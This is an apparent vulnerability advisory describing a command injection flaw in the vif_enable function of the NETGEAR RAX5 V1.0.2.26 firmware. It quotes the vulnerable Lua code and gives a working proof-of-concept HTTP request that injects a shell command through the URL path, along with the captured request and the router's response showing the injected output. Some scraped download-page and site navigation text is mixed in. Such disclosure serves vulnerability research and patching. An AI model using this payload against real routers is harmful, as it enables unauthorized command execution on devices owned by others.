

48 lines (35 loc...)

Preview

Code

Blame

Raw



NETGEAR RAX5 V1.0.2.26 Command Injection (vif_enable)

Product Information

- Device: NETGEAR RAX5
- Firmware Version: V1.0.2.26
- Manufacturer's website information : <https://www.netgear.com/>
- Firmware download address :
https://www.downloads.netgear.com/files/GDC/RAX5/RAX5_V1.0.2.26_1.zip or
<https://www.netgear.com/support/download/?model=RAX5>

netgear.com/support/download/?model=RAX5

else 事务 推免 读研 逆向 常用工具 Android逆向 iOS逆向 安全论坛 代码 应用 blog 固件安全 安全开发 论文整理

Enter a Product Name/Model Number

RAX5 — 4-Stream AX1600 WiFi 6 Router / RAX5



To access safety, compliance, and warranty information, [click here](#).

[Download Center](#)

RAX5

Documentation

[Product Data Sheet](#)

[Installation Guide](#)

[User Manual](#)

Firmware/Software

[Firmware Version 1.0.2.26](#)

[Release Notes](#)

[NETGEAR Nighthawk App \(Android\)](#)

[NETGEAR Nighthawk App \(iOS\)](#)

Vulnerability Description

In the `/usr/lib/lua/luci/controller/mtkwifi.lua` file, there is a **command injection vulnerability** in the `vif_enable` function via the `iface` parameter.

```
601 function vif_enable(iface)
602     os.execute("ifconfig "..iface.." up")
603     luci.http.redirect(luci.dispatcher.build_url("admin", "mtk", "wifi"))
604 end
```

Entry: `/admin/mtk/wifi/vif_enable/arg`

```
75 entry({"admin", "mtk", "wifi", "vif_enable"}, call("vif_enable")).leaf = true
```

Payload

We can trigger this vulnerability by injecting the `ls` command using the following payload.

```
GET /cgi-bin/luci/admin/mtk/wifi/vif_enable/;ls; HTTP/1.1
Host: 192.168.187.136
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=2066ce7be48fd3ba36e4135e973cd840
```



After the injection, we can verify the result in the response.

Request

Raw	Params	Headers	Hex
-----	--------	---------	-----

```
GET /cgi-bin/luci/admin/mtk/wifi/vif_enable/; HTTP/1.1
Host: 192.168.187.136
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/131.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=2066ce7be48fd3ba36e4135e973cd840
```

Response

Raw	Headers	Hex
-----	---------	-----

```
HTTP/1.1 200 OK
Connection: close

br-lan  Link encap: Ethernet HWaddr 00:0C:29:1A:EB:CF
        inet addr: 192.168.187.136 Bcast:192.168.187.255 Mask:255.255.255.0
        inet6 addr: fe80::20c:29ff:fe1a:ebcf/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric:1
        RX packets: 10552 errors:0 dropped:0 overruns:0 frame:0
        TX packets: 10292 errors:0 dropped:0 overruns:0 carrier:0
        collisions: 0 txqueuelen:1000
        RX bytes: 4026833 (3.8 MiB) TX bytes:4776807 (4.5 MiB)
Content-Length: 900

eth0  Link encap:Ethernet HWaddr 00:0C:29:1A:EB:CF
        UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
        RX packets:74406 errors:581 dropped:662 overruns:0 frame:0
        TX packets:10292 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:89085030 (84.9 MiB) TX bytes:4776807 (4.5 MiB)
Interrupt:19 Base address:0x2000

lo  Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:65536 Metric:1
    RX packets:80 errors:0 dropped:0 overruns:0 frame:0
    TX packets:80 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:8034 (7.8 KiB) TX bytes:8034 (7.8 KiB)

cgi-bin
index.html
luci-static
Status: 302 Found
Location: /cgi-bin/luci/admin/mtk/vif
```